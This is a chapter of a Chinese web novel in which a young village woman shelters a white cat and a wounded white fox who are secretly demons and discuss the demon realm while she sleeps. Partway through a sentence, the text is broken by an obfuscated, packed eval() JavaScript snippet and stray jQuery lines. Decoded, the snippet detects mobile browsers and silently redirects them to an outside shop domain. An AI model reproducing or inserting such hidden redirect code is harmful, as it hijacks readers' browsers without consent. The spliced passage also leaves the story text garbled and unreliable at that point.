常乐宁回家的路上还在想村长说的话。
凤影县说见到凤凰飞过,现在石桥村又说后山深处有妖怪。不愧是紧挨着的一县一村,传言一个比一个夸张。
若真有妖怪,那她捡回来的白猫和白狐还能都是妖怪不成?
想到这,她嘴角微微上翘,抬眼看着马上就要走到的土屋小院,心想:若真是妖,不知道是狐妖更魅惑,还是猫妖更迷人。
常乐宁并不知道她的胡思乱想完全正确。
常乐宁一走,玉尘当即立起身,垂眸看着专心吃鱼的小白狐,开口问道:“你是青州的狐狸?”
他嘴里吐出的是人言。
“呜呜呜!”
小白狐受了伤,妖力低弱,暂时无法吐人言,但玉尘能听懂她说的。
这小妖说:“能不能让我吃完了再聊,姐姐做的吃食太香了!”
玉尘看着她吃饭很香的模样,和家中的小妹很像,不一样的是,她们与他不一样,不是白色。他将面前的陶盘推给小白狐,“我在外面院子等你,吃完了出来回话。”
小白狐边吧唧嘴边点头。
玉尘从桌上一跃,一道白影直接落在小院中央。他的内伤已经好了七八分,本以为即将与名叫阿宁的人界女子告别,没想到说去帮他采茶的女子,竟又带回一只狐妖。
“呜呜~”
玉尘望着天空中的暗色积云,心想还要接着下雨时,小白狐吃饱出来了。他回头看了一眼桌面,剩下的大半盘鱼肉她也吃得干干净净。
再看小白狐身上的气息,妖力显而易见的恢复了一些。
女子做的吃食对所有妖都有用。
玉尘将前爪抬起,放在小白狐眉心处,为她渡了一些妖力。
“现在能说话了吗?”
小白狐埋头闭眼,将体内妖力运转了一圈,随后睁开眼睛脆生生道:“谢谢猫妖哥哥,我能说话了。”
她问道:“猫妖哥哥,你也是被坏妖所伤,被姐姐从山里带回来的吗?”她看玉尘妖力比她深厚,却没有化形,想他也是受伤了。
玉尘说:“你还没回我话。”
小白狐语气中带着笑说:“猫妖哥哥,我叫梨云,是青州的,你原身是猫,是住在中州吗?”
玉尘无视她的问题,继续问:“你为何会出现在后面的山中,你这年岁,能化形吗?就敢往外跑。”
梨云低下头,情绪失落道:“我能化出人形了,想要去找二哥哥分享,结果迷路到了泽州。我是被一只黑熊妖一路追杀,他都将我打回妖身了还不肯放过我,慌乱中见到一处结界,便钻了过去,之后就来到这里了。”
“但是我运气好,遇到了姐姐,我看她射箭赶走了黑熊妖。我太害怕,一阵乱跑,差点找不到姐姐,后面闻到一股很香的竹笋味,顺着香味过去,竟闻到姐姐的气息,她的气息很好闻。她救了我,我要报答她,不能就这样走了。”
小白狐前面还在后怕,说到阿宁瞬间又变得欣喜不已。
玉尘想,这白狐年岁太小,没反应过来是女子的特殊吸引了她,只是觉得气味好闻。但泽州黑熊妖……都是封厄手下的妖,这封厄究竟想干什么?
一个泽州都吞不下来,难道还妄图当妖皇。
梨云刚见到玉尘时,就知道他是比自己厉害的大妖,害怕他像黑熊妖那样坏,可现在他分她鱼肉,为她渡妖力,并且他长得和二哥哥一样好看,肯定不是坏妖。
她往玉尘身边凑了凑,正想说话,耳朵动了动,听见外面的脚步声,立马迎上去,“呜呜~”姐姐回来了。
常乐宁打开院门,刚跨入半个身子,小白狐便扑了过来,用头蹭她的腿。她正想弯腰抱小白狐,转眼看到院中站着的白猫。
两个小家伙这么快就混熟了?
为防止两个白团子好不容易建立的感情被破坏,她忍住没有抱起白狐,只是在它头上摸了摸说:“有了精神是好事,不过也要当心伤口。”
梨云点头望向玉尘,玉尘从她亮闪闪的眼睛里读出了她的意思——姐姐人可太好了。
晚上常乐宁给小白狐换药抹止筋草药粉时,发现它的伤口愈合得尤其快,已经长出薄膜。不过,她私心想白狐伤好了也能再多待几日,那后山的人什么情况,还要等村长通知了乡里,大家一起留意几日看看。
她洗漱完,将就剩下的温水把染上血污的麻布长衫洗了,褐色的衣裳,血污洗淡一些基本看不出来,那团草汁染上的墨绿色却是一点也洗不掉。
“这也算我做好事留下的印记,不嫌弃。”
她去堂屋拿来冲洗过的竹杖,将竹杖的一头搭在方桌下面的横条上,又把条凳往外挪了挪,将另一头放上去。
那厚厚的乌云一直浮在空中,随时可能下雨,这衣衫只能先晾在屋内。
晾好衣裳,她扭头看去,小白狐没有在铺好窝的椅子上。
她歪了歪头,心想:两个小家伙这么快就感情好地挤一个窝了吗?
能睡下吗?
常乐宁伸手灭掉桌上的油灯,借着卧房里的微光回到屋内。
猫窝里只有一只找不到脑袋的白猫。
眼珠一转,小白狐蜷缩在她的床角,见她看过去,冲着她“呜呜”两声。从两个音节中,她居然听出了笑意。
比起高傲的白猫,小狐狸可谓是非常主动。这才不到一日,若真是妖,这么投怀送抱,怕不是想吸她精气。
常乐宁摆摆头,甩掉脑袋里奇怪的想法,先走到木柜旁,在一团白中精准找到白猫的脑袋,俯身在它可爱的后脑勺上面蹭了蹭说:“小白,晚安。”
在她没看见的地方,小白狐细长的眼睛都瞪圆了——姐姐威武,她想蹭蹭猫妖哥哥还没靠近就被闪开了。
常乐宁钻进被窝,拍了拍床中央的空位,对小白狐说:“不用挤到角落,往中间睡些,不然我怕睡熟了踢着你。”
小白狐听了她的话,先是扭头看了白猫一眼,见白猫没反应,这才匍匐着爬到靠近床沿的中间位置。
常乐宁想:看来小白在体型上争得了老大的位置。
她摸了摸小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491761|202264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白狐的头,说:“小狐狸,晚安好梦。”
她希望今晚若是做梦,能让她梦到阿宁每次是怎么死的,又是怎么重生的。
玉尘听女子呼吸变得平稳,这才将头从稻草窝里探出来,抬眼望去,先对上梨云在黑暗中发光的金瞳。
若女子现在醒来,没做噩梦也要被吓出噩梦了。
梨云看了看常乐宁,确定她是真的睡着了,抬头小声对玉尘说:“猫妖哥哥,你也睡不着吗?”
玉尘同样压低声音:“睡不着就运功调息,你是不想回妖界了吗?妖力不足可穿不过结界。”他之前甩掉环犬,掉头找到那道结界,当时他太虚弱,根本过不去。
在他看来,小白狐就和她调皮的妹妹一样,不将问题说得严肃些根本不会听话。
梨云说:“猫妖哥哥,我们能将姐姐带回去吗?她这里太破了,床榻都是硬的。若是去青州,我可以让二哥哥用妖术给姐姐盖一座好漂亮的屋子。”
玉尘肃色道:“她是人,不能去妖界。”
梨云将身子往玉尘的方向挪了挪,“但是二哥哥说在青州边界有一座城,那里就有住人,还有人与妖结契的。”
玉尘心想,这小白狐的二哥哥竟给还不能化形的妹妹说结契,不愧是以风流著名的狐妖。
他说:“你别想了,她不去。你若不修行,就闭眼睡觉。”
玉尘说完,眼神扫了常乐宁一眼,见她眉头舒展,应该没再做噩梦。他不再理小白狐,翻了个身蜷缩成一团缓缓闭上眼睛。
梨云见玉尘不理她,她往常乐宁身边靠了靠,心想:我身上有二哥哥留的印记,我不回去,等着二哥哥来找我,到时求二哥哥帮我带姐姐去青州那座有人住的城。
梨云睡着了梦到常乐宁跟着她去了青州,她拜托二哥哥盖了大屋,给姐姐找来好多漂亮的衣裳,姐姐很是开心,抱着她亲了又亲。
与梨云不同,常乐宁一夜无梦,一觉睡到自然醒。
她睁眼时,还在想:今日公鸡怎么没打鸣。耳侧慢一拍传来嘀嗒嘀嗒的雨声。
她想起身时,发现被子有点重,才注意到从中间睡到她肩膀边的小白狐。她往墙边挪了挪身子,从里侧坐起身。
小白狐睡得很熟,一点也没有动。
她穿上衣裙,走到窗棂边往外看,天空很灰暗,雨不大,但是应该下了很久了,栅栏外飘着白色的雾气。
她叹息一声,转头看见白猫站在木柜边缘盯着她。
玉尘在女子起身那刻便醒了,等她穿好衣衫才睁眼,只见女子神色凝重地望着窗外。
这是又做了不好的梦?
常乐宁走上去,与白猫贴了贴额头说:“小白,对不起,今天也采不了茶了。”
原来只是因为下雨。
那就没事了。
玉尘退后两步,避开女子还想亲他的嘴,跳下木柜从侧门出去。他站在灶房的外墙台面上,望着蒙蒙细雨。
他今日本来还想去后山探查一下那黑熊妖的情况,女子不出门,他也去不了。